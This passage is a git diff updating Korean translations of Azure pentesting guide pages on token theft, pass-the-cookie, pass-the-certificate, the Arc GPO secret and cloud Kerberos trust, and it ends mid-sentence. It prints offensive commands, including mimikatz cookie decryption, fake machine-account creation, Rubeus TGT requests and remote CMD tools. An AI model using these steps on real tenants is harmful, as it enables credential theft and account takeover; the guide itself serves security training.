-사용자는 Azure AD Graph를 통해 자신의 searchableDeviceKey 속성을 수정할 수 있지만, 공격자는 테넌트에 장치가 있어야 합니다(즉석에서 등록되었거나 정당한 장치에서 인증서 + 키를 훔쳤거나) 그리고 AAD Graph에 대한 유효한 액세스 토큰이 필요합니다. +사용자는 Azure AD Graph를 통해 자신의 searchableDeviceKey 속성을 수정할 수 있지만, 공격자는 테넌트에 장치가 있어야 합니다(즉석에서 등록되었거나 정당한 장치에서 인증서 + 키를 훔쳤거나) 및 AAD Graph에 대한 유효한 액세스 토큰이 필요합니다. 그런 다음, 다음을 사용하여 새 키를 생성할 수 있습니다: ```bash roadtx genhellokey -d -k tempkey.key ``` -그리고 그 다음에 searchableDeviceKey의 정보를 PATCH합니다: +그리고 검색 가능한 DeviceKey의 정보를 PATCH합니다:
-**디바이스 코드 피싱**을 통해 사용자로부터 액세스 토큰을 얻고 이전 단계를 악용하여 **그의 액세스를 훔칠** 수 있습니다. 자세한 내용은 다음을 확인하세요: +**디바이스 코드 피싱**을 통해 사용자로부터 액세스 토큰을 얻고 이전 단계를 악용하여 **그의 액세스를 훔치는** 것이 가능합니다. 자세한 내용은 다음을 확인하세요: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -94,7 +94,7 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## 참고 문헌 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6fa237d37..2b6518aae 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -51,9 +51,9 @@ brew upgrade powershell ### az cli -[**Azure 명령줄 인터페이스 (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. -[**설치 지침¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) 링크를 따라가세요. +[**설치 지침을 보려면 이 링크를 따르세요!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) Azure CLI의 명령은 다음 패턴을 사용하여 구조화됩니다: `az ` @@ -63,7 +63,7 @@ Azure CLI의 명령은 다음 패턴을 사용하여 구조화됩니다: `az -Az ` +Azure PowerShell AZ 모듈의 명령은 다음과 같이 구성됩니다: `-Az ` #### Debug | MitM Az PowerShell @@ -105,19 +105,19 @@ Azure PowerShell AZ 모듈의 명령은 다음과 같이 구조화됩니다: `-Mg ` +Microsoft Graph PowerShell의 명령은 다음과 같이 구성됩니다: `-Mg ` #### Microsoft Graph PowerShell 디버그 -**`-Debug`** 매개변수를 사용하면 도구가 전송하는 모든 요청을 볼 수 있습니다: +**`-Debug`** 매개변수를 사용하면 도구가 보내는 모든 요청을 볼 수 있습니다: ```bash Get-MgUser -Debug ``` @@ -128,4 +128,4 @@ Azure Active Directory (AD) 모듈은 현재 **사용 중단**되었으며, Azur > [!TIP] > 이는 Microsoft Graph PowerShell로 대체되었습니다. -[**설치 지침**](https://www.powershellgallery.com/packages/AzureAD) 링크를 따라가세요. +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index dcc0e8604..2785abb76 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -26,14 +26,14 @@ ### 토큰 및 제한 사항 -Azure AD에는 특정 제한 사항이 있는 다양한 유형의 토큰이 있습니다: +Azure AD에는 특정 제한이 있는 다양한 유형의 토큰이 있습니다: -- **액세스 토큰**: Microsoft Graph와 같은 API 및 리소스에 액세스하는 데 사용됩니다. 특정 클라이언트 및 리소스에 연결되어 있습니다. -- **리프레시 토큰**: 새로운 액세스 토큰을 얻기 위해 애플리케이션에 발급됩니다. 발급된 애플리케이션이나 애플리케이션 그룹에서만 사용할 수 있습니다. -- **기본 리프레시 토큰 (PRT)**: Azure AD 가입, 등록 또는 하이브리드 가입 장치에서 단일 로그인에 사용됩니다. 브라우저 로그인 흐름 및 장치의 모바일 및 데스크톱 애플리케이션에 로그인하는 데 사용할 수 있습니다. -- **Windows Hello for Business 키 (WHFB)**: 비밀번호 없는 인증에 사용됩니다. 기본 리프레시 토큰을 얻는 데 사용됩니다. +- **Access tokens**: Microsoft Graph와 같은 API 및 리소스에 접근하는 데 사용됩니다. 특정 클라이언트 및 리소스에 연결되어 있습니다. +- **Refresh tokens**: 새로운 access tokens을 얻기 위해 애플리케이션에 발급됩니다. 발급된 애플리케이션이나 애플리케이션 그룹에서만 사용할 수 있습니다. +- **Primary Refresh Tokens (PRT)**: Azure AD에 가입된, 등록된 또는 하이브리드 가입된 장치에서 Single Sign-On에 사용됩니다. 브라우저 로그인 흐름 및 장치의 모바일 및 데스크톱 애플리케이션에 로그인하는 데 사용할 수 있습니다. +- **Windows Hello for Business keys (WHFB)**: 비밀번호 없는 인증에 사용됩니다. Primary Refresh Tokens을 얻는 데 사용됩니다. -가장 흥미로운 유형의 토큰은 기본 리프레시 토큰 (PRT)입니다. +가장 흥미로운 유형의 토큰은 Primary Refresh Token (PRT)입니다. {{#ref}} az-primary-refresh-token-prt.md @@ -43,20 +43,20 @@ az-primary-refresh-token-prt.md **손상된 머신에서 클라우드로**: -- [**쿠키 전달**](az-pass-the-cookie.md): 브라우저에서 Azure 쿠키를 훔쳐 로그인에 사용 -- [**프로세스 액세스 토큰 덤프**](az-processes-memory-access-token.md): 클라우드와 동기화된 로컬 프로세스의 메모리를 덤프하고 평문으로 액세스 토큰을 찾습니다 (예: excel, Teams...). -- [**기본 리프레시 토큰 피싱**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT를 피싱하여 악용 -- [**PRT 전달**](pass-the-prt.md): 장치 PRT를 훔쳐 Azure에 접근 -- [**인증서 전달**](az-pass-the-certificate.md)**:** PRT를 기반으로 인증서를 생성하여 한 머신에서 다른 머신으로 로그인 +- [**Pass the Cookie**](az-pass-the-cookie.md): 브라우저에서 Azure 쿠키를 훔쳐 로그인에 사용 +- [**Dump processes access tokens**](az-processes-memory-access-token.md): 클라우드와 동기화된 로컬 프로세스의 메모리를 덤프하고 평문에서 access tokens을 찾기 +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT를 피싱하여 악용 +- [**Pass the PRT**](pass-the-prt.md): 장치 PRT를 훔쳐 Azure에 접근 +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRT를 기반으로 인증서를 생성하여 한 머신에서 다른 머신으로 로그인 **AD를 손상시켜 클라우드를 손상시키고, 클라우드를 손상시켜 AD를 손상시키는 방법**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **클라우드에서 온프레미스로 피벗하는 또 다른 방법은** [**Intune 악용**](../az-services/intune.md)입니다. +- **클라우드에서 온프레미스로 피벗하는 또 다른 방법은** [**Intune 악용**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -이 도구는 Azure AD에 머신을 등록하여 PRT를 얻고, PRT(정상 또는 도난당한)를 사용하여 여러 가지 방법으로 리소스에 접근하는 등의 여러 작업을 수행할 수 있습니다. 이는 직접적인 공격은 아니지만, PRT를 사용하여 다양한 방법으로 리소스에 접근하는 것을 용이하게 합니다. 자세한 정보는 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)에서 확인하세요. +이 도구는 Azure AD에 머신을 등록하여 PRT를 얻고, PRT(합법적이거나 도난당한)를 사용하여 여러 가지 방법으로 리소스에 접근하는 등의 여러 작업을 수행할 수 있게 해줍니다. 이는 직접적인 공격은 아니지만, PRT를 사용하여 다양한 방법으로 리소스에 접근하는 것을 용이하게 합니다. 자세한 정보는 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)에서 확인하세요. ## 참고 문헌 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 33b76e712..9b37b9622 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,19 +1,19 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc 취약한 GPO 배포 스크립트 {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### 문제 식별 -Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 안에는 다음 스크립트가 포함되어 있습니다: DeployGPO.ps1, EnableAzureArc.ps1, 및 AzureArcDeployment.psm1. +Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 다음 스크립트가 포함되어 있습니다: DeployGPO.ps1, EnableAzureArc.ps1, 및 AzureArcDeployment.psm1. DeployGPO.ps1 스크립트를 실행하면 다음 작업이 수행됩니다: -1. 로컬 도메인 내에 Azure Arc Servers Onboarding GPO를 생성합니다. +1. 로컬 도메인 내에 Azure Arc 서버 온보딩 GPO를 생성합니다. 2. 온보딩 프로세스를 위해 생성된 지정된 네트워크 공유에 EnableAzureArc.ps1 온보딩 스크립트를 복사하며, 이 공유에는 Windows 설치 패키지도 포함되어 있습니다. -이 스크립트를 실행할 때, 시스템 관리자는 두 가지 주요 매개변수: **ServicePrincipalId** 및 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다. +이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다. -DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이 내용은 DeployGPO.ps1 스크립트에서 확인할 수 있으며, 여기서 암호화는 ProtectBase64를 호출하여 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 합니다. +DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 ProtectBase64를 호출함으로써 수행됩니다. 설명자는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 보장합니다. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -35,7 +35,7 @@ AD 환경 내에서 머신 계정을 얻는 방법은 여러 가지가 있습니 Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -한 번 머신 계정을 얻으면, 이 계정을 사용하여 인증할 수 있습니다. 우리는 netonly 플래그가 있는 runas.exe 명령을 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다. +머신 계정을 얻으면 이 계정을 사용하여 인증할 수 있습니다. runas.exe 명령어와 netonly 플래그를 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -메모리에 저장된 컴퓨터 계정의 TGT를 통해, 다음 스크립트를 사용하여 서비스 주체 비밀을 복호화할 수 있습니다. +컴퓨터 계정에 대한 TGT가 메모리에 저장되어 있으면, 다음 스크립트를 사용하여 서비스 주체 비밀을 복호화할 수 있습니다. ```powershell Import-Module .\AzureArcDeployment.psm1 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 4a728461c..c83833275 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,39 +1,39 @@ -# Az - Local Cloud Credentials +# Az - 로컬 클라우드 자격 증명 {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## 로컬 토큰 저장소 및 보안 고려 사항 -### Azure CLI (Command-Line Interface) +### Azure CLI (명령줄 인터페이스) -토큰 및 민감한 데이터는 Azure CLI에 의해 로컬에 저장되며, 보안 우려를 불러일으킵니다: +토큰 및 민감한 데이터는 Azure CLI에 의해 로컬에 저장되어 보안 우려를 일으킵니다: -1. **Access Tokens**: `C:\Users\\.Azure`에 위치한 `accessTokens.json`에 평문으로 저장됩니다. -2. **Subscription Information**: 같은 디렉토리에 있는 `azureProfile.json`은 구독 세부정보를 보유합니다. -3. **Log Files**: `.azure` 내의 `ErrorRecords` 폴더는 다음과 같은 노출된 자격 증명이 포함된 로그를 포함할 수 있습니다: +1. **액세스 토큰**: `C:\Users\\.Azure`에 위치한 `accessTokens.json`에 평문으로 저장됩니다. +2. **구독 정보**: 동일한 디렉토리에 있는 `azureProfile.json`은 구독 세부 정보를 보유합니다. +3. **로그 파일**: `.azure` 내의 `ErrorRecords` 폴더는 다음과 같은 노출된 자격 증명이 포함된 로그를 포함할 수 있습니다: - 자격 증명이 포함된 실행된 명령. -- 토큰을 사용하여 접근한 URL, 민감한 정보를 드러낼 수 있습니다. +- 토큰을 사용하여 접근한 URL, 잠재적으로 민감한 정보를 드러낼 수 있습니다. ### Azure PowerShell Azure PowerShell 또한 로컬에서 접근할 수 있는 토큰 및 민감한 데이터를 저장합니다: -1. **Access Tokens**: `C:\Users\\.Azure`에 위치한 `TokenCache.dat`에 평문으로 저장된 액세스 토큰이 있습니다. -2. **Service Principal Secrets**: 이는 `AzureRmContext.json`에 암호화되지 않은 상태로 저장됩니다. -3. **Token Saving Feature**: 사용자는 `Save-AzContext` 명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다. +1. **액세스 토큰**: `C:\Users\\.Azure`에 위치한 `TokenCache.dat`에 평문으로 액세스 토큰이 저장됩니다. +2. **서비스 주체 비밀**: 이는 `AzureRmContext.json`에 암호화되지 않은 상태로 저장됩니다. +3. **토큰 저장 기능**: 사용자는 `Save-AzContext` 명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다. -## Automatic Tools to find them +## 자동 도구로 찾기 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## 보안 권장 사항 민감한 데이터가 평문으로 저장되는 것을 고려할 때, 이러한 파일 및 디렉토리를 보호하는 것이 중요합니다: -- 이러한 파일에 대한 접근 권한을 제한합니다. -- 무단 접근 또는 예상치 못한 변경에 대해 이러한 디렉토리를 정기적으로 모니터링하고 감사합니다. -- 가능한 경우 민감한 파일에 대한 암호화를 사용합니다. -- 사용자가 이러한 민감한 정보를 처리하는 데 있어 위험과 모범 사례에 대해 교육합니다. +- 이러한 파일에 대한 접근 권한 제한. +- 무단 접근 또는 예상치 못한 변경에 대해 이러한 디렉토리를 정기적으로 모니터링하고 감사. +- 가능한 경우 민감한 파일에 대한 암호화 사용. +- 사용자가 이러한 민감한 정보를 처리하는 데 있어 위험 및 모범 사례에 대해 교육. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 99a4b2ab1..1a1fb15a2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,12 +4,12 @@ ## Pass the Certificate (Azure) -Azure에 가입된 머신에서는 **NegoEx** 인증 메커니즘을 지원하는 두 머신 간에 인증을 수행하기 위해 **Azure AD CA**에서 발급된 인증서를 사용하여 한 머신에서 다른 머신으로 인증할 수 있습니다. +Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘을 지원할 때, **Azure AD CA**에서 발급된 인증서를 사용하여 한 머신에서 다른 머신으로 인증할 수 있습니다. 매우 간단히 말하자면: - 연결을 시작하는 머신(클라이언트)은 **사용자를 위한 Azure AD의 인증서**가 필요합니다. -- 클라이언트는 PRT 및 기타 세부 정보를 포함하는 JSON Web Token (JWT) 헤더를 생성하고, 이를 파생 키(세션 키 및 보안 컨텍스트를 사용하여)로 서명한 후 **Azure AD에 전송**합니다. +- 클라이언트는 PRT 및 기타 세부 정보를 포함하는 JSON Web Token (JWT) 헤더를 생성하고, 파생 키(세션 키와 보안 컨텍스트를 사용하여)를 사용하여 서명한 후 **Azure AD로 전송**합니다. - Azure AD는 클라이언트 세션 키와 보안 컨텍스트를 사용하여 JWT 서명을 검증하고, PRT의 유효성을 확인한 후 **인증서**로 **응답**합니다. 이 시나리오에서 [**Pass the PRT**](pass-the-prt.md) 공격에 필요한 모든 정보를 확보한 후: @@ -24,7 +24,7 @@ Azure에 가입된 머신에서는 **NegoEx** 인증 메커니즘을 지원하 ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -인증서는 PRT와 동일한 기간 동안 유효합니다. 인증서를 사용하려면 원격 머신에 **인증**하고 **PSEXEC**를 실행하며 피해자 머신에서 **CMD**를 여는 파이썬 도구 [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)를 사용할 수 있습니다. 이를 통해 우리는 Mimikatz를 다시 사용하여 다른 사용자의 PRT를 얻을 수 있습니다. +인증서는 PRT와 동일한 기간 동안 유효합니다. 인증서를 사용하려면 파이썬 도구 [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)를 사용하여 원격 머신에 **인증**하고, **PSEXEC**를 실행하며 피해자 머신에서 **CMD**를 엽니다. 이를 통해 Mimikatz를 다시 사용하여 다른 사용자의 PRT를 얻을 수 있습니다. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index a8152aeb1..c143a9a0a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## 왜 쿠키인가요? 브라우저 **쿠키**는 **인증 및 MFA를 우회하는** 훌륭한 메커니즘입니다. 사용자가 이미 애플리케이션에서 인증을 받았기 때문에, 세션 **쿠키**는 재인증 없이 해당 사용자로서 **데이터에 접근하는** 데 사용될 수 있습니다. @@ -12,9 +12,9 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## 공격 -도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft Data Protection API (**DPAPI**)로 **암호화되어** 있다는 것입니다. 이는 쿠키가 속한 사용자와 연결된 암호화 [키를 사용하여](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다: +도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft Data Protection API (**DPAPI**)로 **암호화되어 있다는** 것입니다. 이는 쿠키가 속한 사용자와 연결된 암호화 [키를 사용하여](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords @@ -24,9 +24,9 @@ Mimikatz를 손에 쥐고, 이 명령어로 **사용자의 쿠키를 추출할 ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Azure에서는 **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, **`ESTSAUTHLIGHT`**를 포함한 인증 쿠키에 주의해야 합니다. 이는 사용자가 최근에 Azure에서 활동했음을 나타냅니다. +Azure에서는 **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, **`ESTSAUTHLIGHT`**를 포함한 인증 쿠키에 주의해야 합니다. 이는 사용자가 최근에 Azure에서 활동했기 때문입니다. -login.microsoftonline.com으로 이동하여 쿠키 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`**를 추가하세요. 그러면 인증됩니다. +login.microsoftonline.com으로 이동하여 쿠키 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`**를 추가하면 인증됩니다. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index bb891364a..7ae46fdbe 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**해당 게시물을 확인하세요** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 또 다른 게시물은 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)에서 확인할 수 있습니다. +**다음 게시물을 확인하세요** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 같은 내용을 설명하는 다른 게시물은 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)에서 찾을 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index a52238f58..f14a9be74 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**이 게시물은** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **에 대한 요약입니다. 공격에 대한 추가 정보는 해당 링크를 확인하십시오. 이 기술은** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**에서도 언급됩니다.** +**이 게시물은** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **에 대한 요약으로, 공격에 대한 추가 정보를 확인할 수 있습니다. 이 기술은 또한** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**에서 언급됩니다.** ## 기본 정보 @@ -10,27 +10,27 @@ Azure AD와 신뢰가 설정되면 **읽기 전용 도메인 컨트롤러(RODC)가 AD에 생성됩니다.** **RODC 컴퓨터 계정**은 **`AzureADKerberos$`**로 명명됩니다. 또한 **`krbtgt_AzureAD`**라는 이름의 보조 `krbtgt` 계정이 생성됩니다. 이 계정은 Azure AD가 생성하는 티켓에 사용되는 **Kerberos 키**를 포함합니다. -따라서 이 계정이 손상되면 모든 사용자를 가장할 수 있는 가능성이 있지만... 이는 사실이 아닙니다. 이 계정은 도메인 관리자, 엔터프라이즈 관리자, 관리자와 같은 일반 권한 AD 그룹에 대한 티켓 생성을 방지합니다... +따라서 이 계정이 손상되면 모든 사용자를 가장할 수 있을 가능성이 있지만... 이는 사실이 아닙니다. 이 계정은 도메인 관리자, 엔터프라이즈 관리자, 관리자를 포함한 일반 권한 AD 그룹에 대한 티켓 생성을 방지합니다... > [!CAUTION] > 그러나 실제 시나리오에서는 이러한 그룹에 포함되지 않은 권한 있는 사용자가 있을 것입니다. 따라서 **새로운 krbtgt 계정이 손상되면 이를 가장하는 데 사용될 수 있습니다.** ### Kerberos TGT -또한 사용자가 하이브리드 아이덴티티를 사용하여 Windows에서 인증할 때 **Azure AD는 PRT와 함께 부분 Kerberos 티켓을 발급합니다.** TGT는 **AzureAD가 온프레미스 AD의 사용자에 대한 제한된 정보**(보안 식별자(SID) 및 이름과 같은)를 가지고 있기 때문에 부분적입니다.\ -Windows는 그런 다음 **이 부분 TGT를 전체 TGT로 교환**하기 위해 `krbtgt` 서비스에 대한 서비스 티켓을 요청할 수 있습니다. +또한 사용자가 하이브리드 아이덴티티를 사용하여 Windows에서 인증할 때 **Azure AD는 PRT와 함께 부분 Kerberos 티켓을 발급합니다.** TGT는 **AzureAD가 온프레미스 AD의 사용자에 대한 제한된 정보**(보안 식별자(SID) 및 이름 등)를 가지고 있기 때문에 부분적입니다.\ +Windows는 그런 다음 `krbtgt` 서비스에 대한 서비스 티켓을 요청하여 **이 부분 TGT를 전체 TGT로 교환할 수 있습니다.** ### NTLM -Kerberos 인증을 지원하지 않는 서비스가 있을 수 있으므로, **PADATA** 요청의 **KERB-KEY-LIST-REQ** 필드를 포함하여 **보조 `krbtgt`** 키로 서명된 **부분 TGT**를 요청한 다음, **응답에 NT 해시를 포함하여 기본 `krbtgt` 키로 서명된 전체 TGT**를 얻는 것이 가능합니다. +Kerberos 인증을 지원하지 않는 서비스가 있을 수 있으므로, **`KERB-KEY-LIST-REQ`** 필드를 요청의 **PADATA** 부분에 포함하여 **보조 `krbtgt`** 키로 서명된 **부분 TGT**를 요청한 다음, **응답에 NT 해시를 포함하여 기본 `krbtgt` 키로 서명된 전체 TGT를 얻는 것이 